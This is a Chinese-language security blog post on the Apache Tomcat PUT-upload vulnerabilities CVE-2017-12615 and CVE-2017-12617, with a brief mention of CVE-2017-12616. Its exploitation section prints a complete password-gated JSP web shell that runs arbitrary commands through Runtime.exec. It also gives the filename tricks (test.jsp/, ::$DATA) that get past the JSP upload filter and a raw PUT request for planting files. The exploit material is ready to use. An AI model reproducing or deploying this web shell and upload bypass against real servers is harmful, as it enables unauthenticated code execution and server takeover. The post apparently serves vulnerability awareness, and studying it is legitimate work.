0×00前情提要
Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12617:远程代码执行漏洞。
只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。发现并阻止上传JavaServer Pages(.jsp)的过滤器可以避免这个问题。所以只要JSP可以上传,然后就可以在服务器上执行。
现在,由于此功能通常不需要,所以大多数公开曝光的系统将不会readonly设置false并因此不受影响。
在WindowsCVE-2017-12615的 Tomcat 7中,类似的漏洞被修复后,前几天又发现了这个安全问题(CVE-2017-12617)。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
影响版本:
CVE-2017-12617影响范围:Apache Tomcat 7.0.0 – 7.0.81 CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80 CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html http://tomcat.apache.org/securit… pache_Tomcat_7.0.81
CVE-2017-12617
http://tomcat.apache.org/security-7.html http://tomcat.apache.org/security-8.html http://tomcat.apache.org/security-9.html
0×01漏洞利用
该公开描述的利用是作为发送特殊特制HTTP,使用PUT作为有效载荷用JSP请求到Tomcat服务器。
然后,当通过HTTP客户端(例如Web浏览器)访问新上传的JSP时,执行代码。
web.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。
然后使用burpsuite抓包把GET方法转为PUT方法,后面加test.jsp文件的内容然后发送
POC如下:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString(); } %> <% if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))) { out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); } else { out.println(":-)"); } %>
注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/。
不能直接put jsp或者jspx文件的,在windows下可以用test.jsp/、test.jsp/.、test.jsp::$DATA来绕过
经过测试,最新版apache-tomcat-7.0.81可以用test.jsp/、test.jsp/.来绕过
PUT /test.jsp/ HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 25 <%out.println("test");%>
访问http://127.0.0.1:8080/test.jsp 页面会出现test这个字符串
写入成功后,在服务器的 web目录,如下:
写入成功后,在服务器的 web目录,如下
Apache SoftwareFoundationTomcat 7.0webappsROOT增加了test.jsp文件